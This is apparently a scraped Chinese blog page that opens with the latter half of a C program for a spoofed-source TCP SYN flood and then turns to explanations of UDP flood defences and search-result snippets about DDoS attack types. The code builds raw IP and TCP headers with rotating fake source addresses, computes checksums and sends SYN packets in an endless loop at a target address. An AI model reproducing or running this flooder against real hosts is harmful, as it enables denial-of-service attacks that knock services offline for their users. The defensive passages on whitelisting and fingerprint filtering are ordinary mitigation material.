            ip_header.proto=IPPROTO_TCP;                                          //8位协议(TCP,UDP…)

            ip_header.checksum=0;                                                    //16位IP首部校验和

            ip_header.sourceIP=htonl(FakeIpHost+SendSEQ);                          //32位源IP地址

            ip_header.destIP=inet_addr(SYN_DEST_IP);                               //32位目的IP地址

        //填充TCP首部

            tcp_header.th_sport=htons(7000);                                      //源端口号

            tcp_header.th_dport=htons(8080);                                      //目的端口号

            tcp_header.th_seq=htonl(SEQ+SendSEQ);                                  //SYN序列号

            tcp_header.th_ack=0;                                                 //ACK序列号置为0

            tcp_header.th_lenres=(sizeof(TCP_HEADER)/4<<4|0);                        //TCP长度和保留位

            tcp_header.th_flag=2;                                                    //SYN 标志

            tcp_header.th_win=htons(16384);                                           //窗口大小

            tcp_header.th_urp=0;                                                 //偏移

            tcp_header.th_sum=0;                                                 //校验和

            //填充TCP伪首部(用于计算校验和,并不真正发送)

            psd_header.saddr=ip_header.sourceIP;                                    //源地址

            psd_header.daddr=ip_header.destIP;                                      //目的地址

            psd_header.mbz=0;

            psd_header.ptcl=IPPROTO_TCP;                                            //协议类型

            psd_header.tcpl=htons(sizeof(tcp_header));                              //TCP首部长度

            while(1) {

                //每发送10,240个报文输出一个标示符

                printf(".");

                for(counter=0;counter<10240;counter++){

                    if(SendSEQ++==65536) SendSEQ=1;                                  //序列号循环

                    //更改IP首部

                    ip_header.checksum=0;                                            //16位IP首部校验和

                    ip_header.sourceIP=htonl(FakeIpHost+SendSEQ);                  //32位源IP地址

                    //更改TCP首部

                    tcp_header.th_seq=htonl(SEQ+SendSEQ);                          //SYN序列号

                    tcp_header.th_sum=0;                                         //校验和

                    //更改TCP Pseudo Header

                    psd_header.saddr=ip_header.sourceIP;                   

                    //计算TCP校验和,计算校验和时需要包括TCP pseudo header         

                    memcpy(SendBuf,&psd_header,sizeof(psd_header));   

                    memcpy(SendBuf+sizeof(psd_header),&tcp_header,sizeof(tcp_header));

                    tcp_header.th_sum=checksum((USHORT *)SendBuf,sizeof(psd_header)+sizeof(tcp_header));

                    //计算IP校验和

                    memcpy(SendBuf,&ip_header,sizeof(ip_header));

                    memcpy(SendBuf+sizeof(ip_header),&tcp_header,sizeof(tcp_header));

                    memset(SendBuf+sizeof(ip_header)+sizeof(tcp_header),0,4);

                    datasize=sizeof(ip_header)+sizeof(tcp_header);

                    ip_header.checksum=checksum((USHORT *)SendBuf,datasize);

                    //填充发送缓冲区

                    memcpy(SendBuf,&ip_header,sizeof(ip_header));

                    //发送TCP报文

                    ErrorCode=sendto(SockRaw,

                                    SendBuf,

                                    datasize,

                                    0,

                                    (struct sockaddr*) &DestAddr,

                                    sizeof(DestAddr));

    if (ErrorCode==SOCKET_ERROR) printf("\nSend Error:%d\n",GetLastError());

                }//End of for

            }//End of While

        }//End of try

      __finally {

        if (SockRaw != INVALID_SOCKET) closesocket(SockRaw);

        WSACleanup();

      }

      return 0;

    }
    展开全文
  • UDP是无连接的协议,因此无法通过源认证的方法防御UDP Flood攻击。如果UDP业务流量需要通过TCP业务流量认证或控制,则当UDP业务受到攻击时,对关联的TCP业务强制启动防御,用此TCP防御产生的白名单决定同一源的UDP...

    UDP Flood关联TCP类服务防范

         UDP是无连接的协议,因此无法通过源认证的方法防御UDP Flood攻击。如果UDP业务流量需要通过TCP业务流量认证或控制,则当UDP业务受到攻击时,对关联的TCP业务强制启动防御,用此TCP防御产生的白名单决定同一源的UDP报文是丢弃还是转发。

      比如,有些服务例如游戏类服务,是先通过TCP协议对用户进行认证,认证通过后使用UDP协议传输业务数据,此时可以通过验证UDP关联的TCP类服务来达到防御UDP Flood攻击的目的。当UDP业务受到攻击时,对关联的TCP业务强制启动防御,通过关联防御产生TCP白名单,以确定同一源的UDP流量的走向,即命中白名单的源的UDP流量允许通过,否则丢弃。具体防御原理如下图所示。

     

     

    载荷检查和指纹学习

      当攻击报文负载有特征时,则可以采用动态指纹学习或特征过滤防御。

      载荷检查:当UDP流量超过阈值时,会触发载荷检查。如果UDP报文数据段内容完全一样,例如数据段内容都为1,则会被认为是攻击而丢弃报文。

      指纹学习:当UDP流量超过阈值时,会触发指纹学习。指纹由抗DDoS设备动态学习生成,将攻击报文的一段显著特征学习为指纹后,匹配指纹的报文会被丢弃。动态指纹学习适用于以下类型的UDP Flood攻击。

      报文载荷具有明显特征。

      报文负载内容完全一致。

      指纹防御的原理如下图所示。

     

     

    udp协议的主要防护

          UDP协议与TCP协议不同,是无连接状态的协议,并且UDP应用协议五花八门,差异极大,因此针对UDP Flood的防护非常困难。其防护要根据具体情况对待?

      判断包大小,如果是大包攻击则使用防止UDP碎片方法:根据攻击包大小设定包碎片重组大小,通常不小于1500。在极端情况下,可以考虑丢弃所有UDP碎片。

      攻击端口为业务端口:根据该业务UDP最大包长设置UDP最大包大小以过滤异常流量。

      攻击端口为非业务端口:一个是丢弃所有UDP包,可能会误伤正常业务;一个是建立UDP连接规则,要求所有去往该端口的UDP包,必须首先与TCP端口建立TCP连接。不过这种方法需要很专业的防火墙或其他防护设备支持

          UDP攻击是一种消耗对方资源,也消耗你自己的资源的攻击方式,现在已经没人使用这种过时的东西了,你攻击了这个网站,其实也在消耗你的系统资源,说白了就是拼资源而已,看谁的带宽大,看谁能坚持到最后,这种攻击方式没有技术含量,引用别人的话,不要以为洪水无所不能,攻击程序在消耗对方资源的时候也在消耗你的资源。

     

    展开全文
  • DDoS的攻击方式一种服务需要面向大众就需要提供用户访问接口,这些接口恰恰就给了黑客有可乘之机,如:可以利用TCP/IP协议握手缺陷消耗服务端的链接资源,可以利用UDP协议无状态的机制伪造大量的UDP数据包阻塞通信...
  • UDP Flood关联TCP类服务防范 UDP是无连接的协议,因此无法通过源认证的方法防御UDP Flood攻击。如果UDP业务流量需要通过TCP业务流量认证或控制,则当UDP业务受到攻击时,对关联的TCP业务强制启动防御,用此TCP防御...
  • DDOS 攻击类型: SYN Flood 攻击 ... UDP Flood 攻击 ICMP Flood 攻击 Connection Flood 攻击 HTTP Get 攻击 UDP DNS Query Flood 攻击 防御方法: 1、确保服务器的系统文件是最新的版本,并及时...
  • SYN Flood攻击尝试

    2011-03-30 15:00:00
    该网址:http://www.xfocus.net/articles/200106/208.html讲“SYN Flood攻击的基本原理及防御”讲的非常好,但后面的源码运行在xp系统上报错,原因如下: 处于安全考虑,SP2补丁对原始套接字做了限制,不...
  • DDOS攻击防御

    2017-12-28 14:13:00
    DDOS攻击防御 DDos攻击流量大、攻击次数频繁、发起攻击成本低,本质上是攻击发起者通过控制大量的僵尸网络对站点进行分布式攻击。 DNS Query Flood就是攻击者操纵大量傀儡机器,对目标发起海量的域名...
  • 关于DDos攻击的常见方法1、SYN Flood攻击2、ACK Flood3、UDP Flood4、ICMP Flood5、CC攻击6、DNS Flood7、慢速连接攻击8、程序的bug、安全漏洞、和架构性缺陷9、P2P攻击10、公布恋情11、公布离婚/出轨DDOS攻击现象...
  • DNS攻击防御也有类似HTTP的防御手段,第一方案是缓存。其次是重发,可以是直接丢弃DNS报文导致UDP层面的请求重发,可以是返回特殊响应强制要求客户端使用TCP协议重发DNS查询请求。特殊的,对于授权域DNS的保护,设备...
  • 从2013年3月的300Gbps到2014年2月的400Gbps,DDoS攻击以惊人的速度进入200-400Gbps时代。面对如此规模的DDoS攻击开发者究竟该如何应对?这里我们不妨看看阿里云...这种类型的攻击典型代表是ICMPFlood和UDPFlood,现在已
  • 普通拒绝服务攻击是指一些传统的攻击方式,如:SYN FLOOD攻击、ACK FLOOD攻击、CC攻击、UDP FLOOD攻击 等等,下面会详细介绍。 SYN FLOOD攻击 Syn flood攻击是利用TCP协议的一些特性发动的,通过发送大量 伪造...
  • UDP Flood攻击的判断依据: 同一目标同一侧的UDP数据包大量出现; UDP包的大小相对固定。 UDP Flood攻击的处理步骤: 调整专业参数1,进行限速,UDP pps总和达到参数时,设备启动UDP防护; 调整UDP防护策略中的...
  • 常见网络攻击原理及其防御

    万次阅读 2019-02-22 18:44:16
    一 概述 常见的网络攻击,按照osi七层协议,可以分为: ...4,传输层 tcp_flood(包含ack_flood和syn_flood),udp_flood(ntp,dns) 7,应用层 connection_flood,http_get等等, 按照攻击目的,可以分为: 中间...
  • 分布式拒绝服务攻击(DDoS攻击)是一种针对目标系统的恶意...比较典型的攻击类型是UDP反射攻击,例如:NTP Flood攻击,这类攻击主要利用大流量拥塞被攻击者的网络带宽,导致被攻击者的业务无法正常响应客户访问。 ...
  • udp 500 D.O.S攻击 (转)

    2007-12-15 15:15:33
    udp 500 D.O.S攻击 (转)[@more@] 前些日子,看见有文章说win2000服务器的500端口对flood攻击防御不是很好,我测试了一下,发现很有效果,对win2000服务器的udp500发送大量包的时候,wi...
  • udp 500 D.O.S攻击

    2008-05-20 04:16:00
    前些日子,看见有文章说win2000服务器的500端口对flood攻击防御不是很好,我测试了一下,发现很有效果,对win2000服务器的udp500发送大量包的时候,win2000服务器的cpu率一下子达到了100%,而且反应立刻迟钝下来....
  • Slowloris也是拒绝服务攻击的一种,常见的DDOS攻击有SYN FloodUDP Flood , ICMP Flood等。其中SYN Flood是一种非常经典的DDOS攻击。其利用的是TCP协议设计中的缺陷进行攻击的。前篇我们已经提到过,这里暂且不...
  • DDoS攻击的定义:DDoS攻击全称——分布式拒绝服务攻击,是网络攻击中非常常见的攻击... DDoS攻击类型:ICMP Flood:通过对目标系统发送海量数据包,就可以令目标主机瘫痪,如果大量发送就成了洪水攻击。 UDP Floo...
  • 协议攻击

    2020-09-22 20:58:56
    文章目录协议攻击IP源地址欺骗dos攻击原理步骤防御ARP欺骗中间人攻击原理步骤防御ICMP路由重定向攻击和防御原理步骤总结TCP协议RST攻击原理步骤防御SYN Flood攻击原理步骤防御UDP Flood攻击原理步骤防御http慢速攻击...

空空如也

空空如也

1 2 3 4
收藏数 69
精华内容 27
关键字:

flood攻击防御udp